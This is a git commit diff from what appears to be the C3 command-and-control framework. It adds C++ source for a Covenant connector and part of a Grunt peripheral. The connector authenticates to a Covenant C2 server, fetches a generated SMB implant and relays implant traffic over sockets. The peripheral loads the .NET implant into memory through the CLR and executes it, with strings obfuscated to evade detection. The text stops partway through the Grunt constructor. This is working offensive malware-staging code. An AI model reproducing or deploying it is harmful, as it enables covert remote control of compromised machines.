mirror of https://github.com/infosecn1nja/C3.git
initial commit
parent
08c3087aa7
commit
b29fd34656
|
@ -0,0 +1,512 @@
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#include "Common/MWR/Sockets/SocketsException.h"
|
||||||
|
#include "Common/json/json.hpp"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/http_client.h"
|
||||||
|
#include "Common/MWR/Crypto/Base64.h"
|
||||||
|
|
||||||
|
using json = nlohmann::json;
|
||||||
|
|
||||||
|
namespace MWR::C3::Interfaces::Connectors
|
||||||
|
{
|
||||||
|
/// A class representing communication with Covenant.
|
||||||
|
struct Covenant : Connector<Covenant>
|
||||||
|
{
|
||||||
|
/// Public constructor.
|
||||||
|
/// @param arguments factory arguments.
|
||||||
|
Covenant(ByteView arguments);
|
||||||
|
|
||||||
|
/// A public destructor.
|
||||||
|
~Covenant();
|
||||||
|
|
||||||
|
/// OnCommandFromConnector callback implementation.
|
||||||
|
/// @param binderId Identifier of Peripheral who sends the Command.
|
||||||
|
/// @param command full Command with arguments.
|
||||||
|
void OnCommandFromBinder(ByteView binderId, ByteView command) override;
|
||||||
|
|
||||||
|
/// Processes internal (C3 API) Command.
|
||||||
|
/// @param command a buffer containing whole command and it's parameters.
|
||||||
|
/// @return command result.
|
||||||
|
ByteVector OnRunCommand(ByteView command) override;
|
||||||
|
|
||||||
|
/// Called every time new implant is being created.
|
||||||
|
/// @param connectionId adders of Grunt in C3 network .
|
||||||
|
/// @param data parameters used to create implant. If payload is empty, new one will be generated.
|
||||||
|
/// @param isX64 indicates if relay staging beacon is x64.
|
||||||
|
/// @returns ByteVector correct command that will be used to stage beacon.
|
||||||
|
ByteVector PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64) override;
|
||||||
|
|
||||||
|
/// Return json with commands.
|
||||||
|
/// @return ByteView Commands description in JSON format.
|
||||||
|
static ByteView GetCapability();
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// Represents a single C3 <-> Covenant connection, as well as each Grunt in network.
|
||||||
|
struct Connection
|
||||||
|
{
|
||||||
|
/// Constructor.
|
||||||
|
/// @param listeningPostAddress adders of Bridge.
|
||||||
|
/// @param listeningPostPort port of Bridge.
|
||||||
|
/// @param owner weak pointer to Covenant class.
|
||||||
|
/// @param id id used to address Grunt.
|
||||||
|
Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<Covenant> owner, std::string_view id = ""sv);
|
||||||
|
|
||||||
|
/// Destructor.
|
||||||
|
~Connection();
|
||||||
|
|
||||||
|
/// Sends data directly to Covenant.
|
||||||
|
/// @param data buffer containing blob to send.
|
||||||
|
/// @remarks throws MWR::WinSocketsException on WinSockets error.
|
||||||
|
void Send(ByteView data);
|
||||||
|
|
||||||
|
/// Creates the receiving thread.
|
||||||
|
/// As long as connection is alive detached thread will pull available data Covenant.
|
||||||
|
void StartUpdatingInSeparateThread();
|
||||||
|
|
||||||
|
/// Reads data from Socket.
|
||||||
|
/// @return heartbeat read data.
|
||||||
|
ByteVector Receive();
|
||||||
|
|
||||||
|
/// Indicates that receiving thread was already started.
|
||||||
|
/// @returns true if receiving thread was started, false otherwise.
|
||||||
|
bool SecondThreadStarted();
|
||||||
|
|
||||||
|
private:
|
||||||
|
/// Pointer to TeamServer instance.
|
||||||
|
std::weak_ptr<Covenant> m_Owner;
|
||||||
|
|
||||||
|
/// A socket object used in communication with the Bridge listener.
|
||||||
|
SOCKET m_Socket;
|
||||||
|
|
||||||
|
/// RouteID in binary form. Address of beacon in network.
|
||||||
|
ByteVector m_Id;
|
||||||
|
|
||||||
|
/// Indicates that receiving thread was already started.
|
||||||
|
bool m_SecondThreadStarted = false;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Retrieves grunt payload from Covenant using the API.
|
||||||
|
/// @param binderId address of beacon in network.
|
||||||
|
/// @param pipename name of pipe hosted by the SMB Grunt.
|
||||||
|
/// @param delay number of seconds for SMB grunt to block for
|
||||||
|
/// @param jitter percent to jitter the delay by
|
||||||
|
/// @param listenerId the id of the Bridge listener for covenant
|
||||||
|
/// @return generated payload.
|
||||||
|
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId);
|
||||||
|
|
||||||
|
/// Close desired connection
|
||||||
|
/// @arguments arguments for command. connection Id in string form.
|
||||||
|
/// @returns ByteVector empty vector.
|
||||||
|
MWR::ByteVector CloseConnection(ByteView arguments);
|
||||||
|
|
||||||
|
/// Initializes Sockets library. Can be called multiple times, but requires corresponding number of calls to DeinitializeSockets() to happen before closing the application.
|
||||||
|
/// @return value forwarded from WSAStartup call (zero if successful).
|
||||||
|
static int InitializeSockets();
|
||||||
|
|
||||||
|
/// Deinitializes Sockets library.
|
||||||
|
/// @return true if successful, otherwise WSAGetLastError might be called to retrieve specific error number.
|
||||||
|
static bool DeinitializeSockets();
|
||||||
|
|
||||||
|
/// IP Address of Bridge Listener.
|
||||||
|
std::string m_ListeningPostAddress;
|
||||||
|
|
||||||
|
/// Port of Bridge Listener.
|
||||||
|
uint16_t m_ListeningPostPort;
|
||||||
|
|
||||||
|
///Covenant host for web API
|
||||||
|
std::string m_webHost;
|
||||||
|
|
||||||
|
///Covenant username
|
||||||
|
std::string m_username;
|
||||||
|
|
||||||
|
///Covenant password
|
||||||
|
std::string m_password;
|
||||||
|
|
||||||
|
///API token, generated on logon.
|
||||||
|
std::string m_token;
|
||||||
|
|
||||||
|
/// Access mutex for m_ConnectionMap.
|
||||||
|
std::mutex m_ConnectionMapAccess;
|
||||||
|
|
||||||
|
/// Access mutex for sending data to Covenant.
|
||||||
|
std::mutex m_SendMutex;
|
||||||
|
|
||||||
|
/// Map of all connections.
|
||||||
|
std::unordered_map<std::string, std::unique_ptr<Connection>> m_ConnectionMap;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
|
||||||
|
{
|
||||||
|
json postData;
|
||||||
|
json response;
|
||||||
|
std::string postDataDump;
|
||||||
|
std::string binary;
|
||||||
|
|
||||||
|
std::tie(m_ListeningPostAddress, m_ListeningPostPort, m_webHost, m_username, m_password) = arguments.Read<std::string, uint16_t, std::string, std::string, std::string>();
|
||||||
|
InitializeSockets();
|
||||||
|
|
||||||
|
|
||||||
|
/***Authenticate to Web API ***/
|
||||||
|
std::string url = this->m_webHost + OBF("/api/users/login");
|
||||||
|
|
||||||
|
postData[OBF("username")] = this->m_username;
|
||||||
|
postData[OBF("password")] = this->m_password;
|
||||||
|
|
||||||
|
web::http::client::http_client_config config;
|
||||||
|
config.set_validate_certificates(false); //Covenant framework is unlikely to have a valid cert.
|
||||||
|
|
||||||
|
web::http::client::http_client webClient(utility::conversions::to_string_t(url), config);
|
||||||
|
web::http::http_request request;
|
||||||
|
|
||||||
|
request = web::http::http_request(web::http::methods::POST);
|
||||||
|
postDataDump = postData.dump();
|
||||||
|
request.headers().set_content_type(utility::conversions::to_string_t(OBF("application/json")));
|
||||||
|
request.set_body(utility::conversions::to_string_t(postDataDump));
|
||||||
|
|
||||||
|
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
|
||||||
|
{
|
||||||
|
return response;
|
||||||
|
});
|
||||||
|
|
||||||
|
task.wait();
|
||||||
|
web::http::http_response resp = task.get();
|
||||||
|
|
||||||
|
if (resp.status_code() == web::http::status_codes::OK)
|
||||||
|
{
|
||||||
|
//Get the json response
|
||||||
|
auto respData = resp.extract_string();
|
||||||
|
response = json::parse(respData.get());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
throw std::exception(OBF("[Covenant] Error authenticating to web app, HTTP resp: ") + resp.status_code());
|
||||||
|
|
||||||
|
//Get the token to be used for all other requests.
|
||||||
|
if (response[OBF("success")])
|
||||||
|
this->m_token = response[OBF("covenantToken")].get<std::string>();
|
||||||
|
else
|
||||||
|
throw std::exception(OBF("[Covenant] Could not get token, invalid logon"));
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::Covenant::~Covenant()
|
||||||
|
{
|
||||||
|
DeinitializeSockets();
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Connectors::Covenant::OnCommandFromBinder(ByteView binderId, ByteView command)
|
||||||
|
{
|
||||||
|
std::scoped_lock<std::mutex> lock(m_ConnectionMapAccess);
|
||||||
|
|
||||||
|
auto it = m_ConnectionMap.find(binderId);
|
||||||
|
if (it == m_ConnectionMap.end())
|
||||||
|
throw std::runtime_error{ OBF("Unknown connection") };
|
||||||
|
|
||||||
|
if (!(it->second->SecondThreadStarted()))
|
||||||
|
it->second->StartUpdatingInSeparateThread();
|
||||||
|
|
||||||
|
it->second->Send(command);
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
int MWR::C3::Interfaces::Connectors::Covenant::InitializeSockets()
|
||||||
|
{
|
||||||
|
WSADATA wsaData;
|
||||||
|
WORD wVersionRequested;
|
||||||
|
wVersionRequested = MAKEWORD(2, 2);
|
||||||
|
return WSAStartup(wVersionRequested, &wsaData);
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
bool MWR::C3::Interfaces::Connectors::Covenant::DeinitializeSockets()
|
||||||
|
{
|
||||||
|
return WSACleanup() == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t listenerId)
|
||||||
|
{
|
||||||
|
if (binderId.empty() || pipename.empty())
|
||||||
|
throw std::runtime_error{ OBF("Wrong parameters, cannot create payload") };
|
||||||
|
|
||||||
|
std::string authHeader = OBF("Bearer ") + this->m_token;
|
||||||
|
std::string contentHeader = OBF("Content-Type: application/json");
|
||||||
|
std::string postDataDump;
|
||||||
|
std::string binary;
|
||||||
|
|
||||||
|
web::http::client::http_client_config config;
|
||||||
|
config.set_validate_certificates(false);
|
||||||
|
web::http::client::http_client webClient(utility::conversions::to_string_t(this->m_webHost + OBF("/api/launchers/binary")), config);
|
||||||
|
web::http::http_request request;
|
||||||
|
|
||||||
|
//The data to create an SMB Grunt
|
||||||
|
json postData;
|
||||||
|
postData[OBF("id")] = 0;
|
||||||
|
postData[OBF("smbPipeName")] = pipename;
|
||||||
|
postData[OBF("listenerId")] = listenerId;
|
||||||
|
postData[OBF("outputKind")] = OBF("ConsoleApplication");
|
||||||
|
postData[OBF("implantTemplateId")] = 2; //for GruntSMB template
|
||||||
|
postData[OBF("dotNetFrameworkVersion")] = OBF("Net40");
|
||||||
|
postData[OBF("type")] = OBF("Wmic");
|
||||||
|
postData[OBF("delay")] = delay;
|
||||||
|
postData[OBF("jitterPercent")] = jitter;
|
||||||
|
postData[OBF("connectAttempts")] = 5000;
|
||||||
|
|
||||||
|
//First we use a PUT to add our data as the template.
|
||||||
|
request = web::http::http_request(web::http::methods::PUT);
|
||||||
|
postDataDump = postData.dump();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
request.headers().set_content_type(utility::conversions::to_string_t("application/json"));
|
||||||
|
request.set_body(utility::conversions::to_string_t(postDataDump));
|
||||||
|
|
||||||
|
request.headers().add(OBF_W(L"Authorization"), utility::conversions::to_string_t(authHeader));
|
||||||
|
pplx::task<web::http::http_response> task = webClient.request(request).then([&](web::http::http_response response)
|
||||||
|
{
|
||||||
|
return response;
|
||||||
|
});
|
||||||
|
|
||||||
|
task.wait();
|
||||||
|
web::http::http_response resp = task.get();
|
||||||
|
|
||||||
|
//If we get 200 OK, then we use a POST to request the generation of the payload. We can reuse the previous data here.
|
||||||
|
if (resp.status_code() == web::http::status_codes::OK)
|
||||||
|
{
|
||||||
|
request.set_method(web::http::methods::POST);
|
||||||
|
task = webClient.request(request).then([&](web::http::http_response response)
|
||||||
|
{
|
||||||
|
return response;
|
||||||
|
});
|
||||||
|
task.wait();
|
||||||
|
resp = task.get();
|
||||||
|
|
||||||
|
auto respData = resp.extract_string();
|
||||||
|
json resp = json::parse(respData.get());
|
||||||
|
binary = resp[OBF("base64ILByteString")].get<std::string>(); //Contains the base64 encoded .NET assembly.
|
||||||
|
}
|
||||||
|
|
||||||
|
auto payload = cppcodec::base64_rfc4648::decode(binary);
|
||||||
|
|
||||||
|
//Finally connect to the socket.
|
||||||
|
auto connection = std::make_unique<Connection>(m_ListeningPostAddress, m_ListeningPostPort, std::static_pointer_cast<Covenant>(shared_from_this()), binderId);
|
||||||
|
m_ConnectionMap.emplace(std::string{ binderId }, std::move(connection));
|
||||||
|
return payload;
|
||||||
|
}
|
||||||
|
catch(std::exception e)
|
||||||
|
{
|
||||||
|
throw std::exception(OBF("Error generating payload"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::CloseConnection(ByteView arguments)
|
||||||
|
{
|
||||||
|
auto id = arguments.Read<std::string>();
|
||||||
|
m_ConnectionMap.erase(id);
|
||||||
|
return {};
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::OnRunCommand(ByteView command)
|
||||||
|
{
|
||||||
|
auto commandCopy = command;
|
||||||
|
switch (command.Read<uint16_t>())
|
||||||
|
{
|
||||||
|
// case 0:
|
||||||
|
// return GeneratePayload(command);
|
||||||
|
case 1:
|
||||||
|
return CloseConnection(command);
|
||||||
|
default:
|
||||||
|
return AbstractConnector::OnRunCommand(commandCopy);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteView MWR::C3::Interfaces::Connectors::Covenant::GetCapability()
|
||||||
|
{
|
||||||
|
return R"(
|
||||||
|
{
|
||||||
|
"create":
|
||||||
|
{
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"type": "ip",
|
||||||
|
"name": "Address",
|
||||||
|
"description": "C2Bridge ip address"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "uint16",
|
||||||
|
"name": "Port",
|
||||||
|
"min": 1,
|
||||||
|
"description": "C2Bridge port"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Covenant Web Host",
|
||||||
|
"min": 1,
|
||||||
|
"description": "Host for Covenant - eg https://localhost:7443/"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Username",
|
||||||
|
"min": 1,
|
||||||
|
"description": "Username to authenticate"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"name": "Password",
|
||||||
|
"min": 1,
|
||||||
|
"description": "Password to authenticate"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
},
|
||||||
|
"commands":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Close connection",
|
||||||
|
"description": "Close socket connection with TeamServer if beacon is not available",
|
||||||
|
"id": 1,
|
||||||
|
"arguments":
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"name": "Route Id",
|
||||||
|
"min": 1,
|
||||||
|
"description": "Id associated to beacon"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)";
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::Covenant::Connection::Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<Covenant> owner, std::string_view id)
|
||||||
|
: m_Owner(owner)
|
||||||
|
, m_Id(ByteView{ id })
|
||||||
|
{
|
||||||
|
|
||||||
|
/*** Connect to C2Bridge ***/
|
||||||
|
sockaddr_in client;
|
||||||
|
client.sin_family = AF_INET;
|
||||||
|
client.sin_port = htons(listeningPostPort);
|
||||||
|
switch (InetPtonA(AF_INET, &listeningPostAddress.front(), &client.sin_addr.s_addr)) //< Mod to solve deprecation issue.
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
throw std::invalid_argument(OBF("Provided Listening Post address in not a valid IPv4 dotted - decimal string or a valid IPv6 address."));
|
||||||
|
case -1:
|
||||||
|
throw MWR::SocketsException(OBF("Couldn't convert standard text IPv4 or IPv6 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Attempt to connect.
|
||||||
|
if (INVALID_SOCKET == (m_Socket = socket(AF_INET, SOCK_STREAM, 0)))
|
||||||
|
throw MWR::SocketsException(OBF("Couldn't create socket."), WSAGetLastError());
|
||||||
|
|
||||||
|
if (SOCKET_ERROR == connect(m_Socket, (struct sockaddr*) & client, sizeof(client)))
|
||||||
|
throw MWR::SocketsException(OBF("Could not connect to ") + std::string{ listeningPostAddress } +OBF(":") + std::to_string(listeningPostPort) + OBF("."), WSAGetLastError());
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::C3::Interfaces::Connectors::Covenant::Connection::~Connection()
|
||||||
|
{
|
||||||
|
closesocket(m_Socket);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Connectors::Covenant::Connection::Send(ByteView data)
|
||||||
|
{
|
||||||
|
auto owner = m_Owner.lock();
|
||||||
|
if (!owner)
|
||||||
|
throw std::runtime_error(OBF("Could not lock pointer to owner "));
|
||||||
|
|
||||||
|
std::unique_lock<std::mutex> lock{ owner->m_SendMutex };
|
||||||
|
|
||||||
|
//Format the length to match how it is read by Covenant.
|
||||||
|
DWORD length = static_cast<DWORD>(data.size());
|
||||||
|
BYTE* bytes = (BYTE*)& length;
|
||||||
|
DWORD32 chunkLength = (bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3];
|
||||||
|
|
||||||
|
// Write four bytes indicating the length of the next chunk of data.
|
||||||
|
if (SOCKET_ERROR == send(m_Socket, (char *)&chunkLength, 4, 0))
|
||||||
|
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||||
|
|
||||||
|
// Write the chunk to socket.
|
||||||
|
send(m_Socket, (char *)&data.front(), length, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::Connection::Receive()
|
||||||
|
{
|
||||||
|
DWORD chunkLength = 0, bytesRead;
|
||||||
|
if (SOCKET_ERROR == (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&chunkLength), 4, 0)))
|
||||||
|
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + ("."), WSAGetLastError());
|
||||||
|
|
||||||
|
if (!bytesRead || !chunkLength)
|
||||||
|
return {}; //< The connection has been gracefully closed.
|
||||||
|
|
||||||
|
//Format the length to match how it is written by Covenant.
|
||||||
|
BYTE* bytes = (BYTE*)& chunkLength;
|
||||||
|
DWORD32 len = (bytes[0] << 24) + (bytes[1] << 16) + (bytes[2] << 8) + bytes[3];
|
||||||
|
|
||||||
|
// Read in the result.
|
||||||
|
ByteVector buffer;
|
||||||
|
buffer.resize(len);
|
||||||
|
for (DWORD bytesReadTotal = 0; bytesReadTotal < len; bytesReadTotal += bytesRead)
|
||||||
|
switch (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&buffer[bytesReadTotal]), len - bytesReadTotal, 0))
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
return {}; //< The connection has been gracefully closed.
|
||||||
|
|
||||||
|
case SOCKET_ERROR:
|
||||||
|
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
|
void MWR::C3::Interfaces::Connectors::Covenant::Connection::StartUpdatingInSeparateThread()
|
||||||
|
{
|
||||||
|
m_SecondThreadStarted = true;
|
||||||
|
std::thread([&]()
|
||||||
|
{
|
||||||
|
// Lock pointers.
|
||||||
|
auto owner = m_Owner.lock();
|
||||||
|
auto bridge = owner->GetBridge();
|
||||||
|
while (bridge->IsAlive())
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// Read packet and post it to Binder.
|
||||||
|
if (auto packet = Receive(); !packet.empty())
|
||||||
|
{
|
||||||
|
if (packet.size() == 1u && packet[0] == 0u)
|
||||||
|
Send(packet);
|
||||||
|
else
|
||||||
|
bridge->PostCommandToBinder(ByteView{ m_Id }, packet);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (std::exception& e)
|
||||||
|
{
|
||||||
|
bridge->Log({ e.what(), LogMessage::Severity::Error });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}).detach();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool MWR::C3::Interfaces::Connectors::Covenant::Connection::SecondThreadStarted()
|
||||||
|
{
|
||||||
|
return m_SecondThreadStarted;
|
||||||
|
}
|
||||||
|
|
||||||
|
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::PeripheralCreationCommand(ByteView connectionId, ByteView data, bool isX64)
|
||||||
|
{
|
||||||
|
auto [pipeName, listenerId, delay, jitter] = data.Read<std::string, uint32_t, uint32_t, uint32_t>();
|
||||||
|
|
||||||
|
|
||||||
|
return ByteVector{}.Write(pipeName, GeneratePayload(connectionId, pipeName, delay, jitter, listenerId));
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,271 @@
|
||||||
|
#include "StdAfx.h"
|
||||||
|
#include "Grunt.h"
|
||||||
|
|
||||||
|
//This function will run the .NET assembly
|
||||||
|
void RuntimeV4Host(PBYTE pbAssembly, SIZE_T assemblyLen)
|
||||||
|
{
|
||||||
|
HANDLE hHeap = GetProcessHeap();
|
||||||
|
HRESULT hr;
|
||||||
|
ICLRMetaHost* pMetaHost = NULL;
|
||||||
|
ICLRRuntimeInfo* pRuntimeInfo = NULL;
|
||||||
|
ICorRuntimeHost* pCorRuntimeHost = NULL;
|
||||||
|
IUnknownPtr spAppDomainThunk = NULL;
|
||||||
|
_AppDomainPtr spDefaultAppDomain = NULL;
|
||||||
|
_AssemblyPtr spAssembly = NULL;
|
||||||
|
_TypePtr spType = NULL;
|
||||||
|
_variant_t vtEmpty = NULL;
|
||||||
|
_variant_t output;
|
||||||
|
BSTR bstrStaticMethodName = NULL;
|
||||||
|
BSTR bstrClassName = NULL;
|
||||||
|
SAFEARRAY* psaTypesArray = NULL;
|
||||||
|
SAFEARRAY* psaStaticMethodArgs = NULL;
|
||||||
|
SAFEARRAY* arr = NULL;
|
||||||
|
PBYTE pbAssemblyIndex = NULL;
|
||||||
|
PBYTE pbDataIndex = NULL;
|
||||||
|
long index = 0;
|
||||||
|
PWSTR wcs = NULL;
|
||||||
|
|
||||||
|
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = pMetaHost->GetRuntime(OBF_W(L"v4.0.30319"), IID_PPV_ARGS(&pRuntimeInfo));
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL fLoadable;
|
||||||
|
hr = pRuntimeInfo->IsLoadable(&fLoadable);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!fLoadable)
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(&pCorRuntimeHost));
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = pCorRuntimeHost->Start();
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = pCorRuntimeHost->CreateDomain(OBF_W(L"AppDomain"), NULL, &spAppDomainThunk);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
SAFEARRAYBOUND bounds[1];
|
||||||
|
bounds[0].cElements = assemblyLen;
|
||||||
|
bounds[0].lLbound = 0;
|
||||||
|
|
||||||
|
arr = SafeArrayCreate(VT_UI1, 1, bounds);
|
||||||
|
SafeArrayLock(arr);
|
||||||
|
|
||||||
|
pbAssemblyIndex = pbAssembly;
|
||||||
|
pbDataIndex = (PBYTE)arr->pvData;
|
||||||
|
|
||||||
|
while (pbAssemblyIndex - pbAssembly < assemblyLen)
|
||||||
|
* (BYTE*)pbDataIndex++ = *(BYTE*)pbAssemblyIndex++;
|
||||||
|
|
||||||
|
SafeArrayUnlock(arr);
|
||||||
|
hr = spDefaultAppDomain->Load_3(arr, &spAssembly);
|
||||||
|
|
||||||
|
|
||||||
|
if (FAILED(hr) || spAssembly == NULL)
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
hr = spAssembly->GetTypes(&psaTypesArray);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
index = 0;
|
||||||
|
hr = SafeArrayGetElement(psaTypesArray, &index, &spType);
|
||||||
|
if (FAILED(hr) || spType == NULL)
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
bstrStaticMethodName = SysAllocString(L"Execute");
|
||||||
|
|
||||||
|
hr = spType->InvokeMember_3(bstrStaticMethodName, static_cast<BindingFlags>(
|
||||||
|
BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
|
||||||
|
NULL, vtEmpty, NULL, &output);
|
||||||
|
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
goto Cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
Cleanup:
|
||||||
|
if (spDefaultAppDomain)
|
||||||
|
{
|
||||||
|
pCorRuntimeHost->UnloadDomain(spDefaultAppDomain);
|
||||||
|
spDefaultAppDomain = NULL;
|
||||||
|
}
|
||||||
|
if (pMetaHost)
|
||||||
|
{
|
||||||
|
pMetaHost->Release();
|
||||||
|
pMetaHost = NULL;
|
||||||
|
}
|
||||||
|
if (pRuntimeInfo)
|
||||||
|
{
|
||||||
|
pRuntimeInfo->Release();
|
||||||
|
pRuntimeInfo = NULL;
|
||||||
|
}
|
||||||
|
if (pCorRuntimeHost)
|
||||||
|
{
|
||||||
|
pCorRuntimeHost->Release();
|
||||||
|
pCorRuntimeHost = NULL;
|
||||||
|
}
|
||||||
|
if (psaTypesArray)
|
||||||
|
{
|
||||||
|
SafeArrayDestroy(psaTypesArray);
|
||||||
|
psaTypesArray = NULL;
|
||||||
|
}
|
||||||
|
if (psaStaticMethodArgs)
|
||||||
|
{
|
||||||
|
SafeArrayDestroy(psaStaticMethodArgs);
|
||||||
|
psaStaticMethodArgs = NULL;
|
||||||
|
}
|
||||||
|
SysFreeString(bstrClassName);
|
||||||
|
SysFreeString(bstrStaticMethodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
MWR::C3::Interfaces::Peripherals::Grunt::Grunt(ByteView arguments)
|
||||||
|
{
|
||||||
|
|
||||||
|
auto [pipeName, payload] = arguments.Read<std::string, ByteVector>();
|
||||||
|
|
||||||
|
BYTE *x = (BYTE *)payload.data();
|
||||||
|
SIZE_T len = payload.size();
|
||||||
|
|
||||||
|
//Setup the arguments to run the .NET assembly in a seperate thread.
|
||||||
|
namespace SEH = MWR::WinTools::StructuredExceptionHandling;
|
||||||
|
SEH::gruntArgs args;
|
||||||
|
args.gruntStager = x;
|
||||||
|
args.len = len;
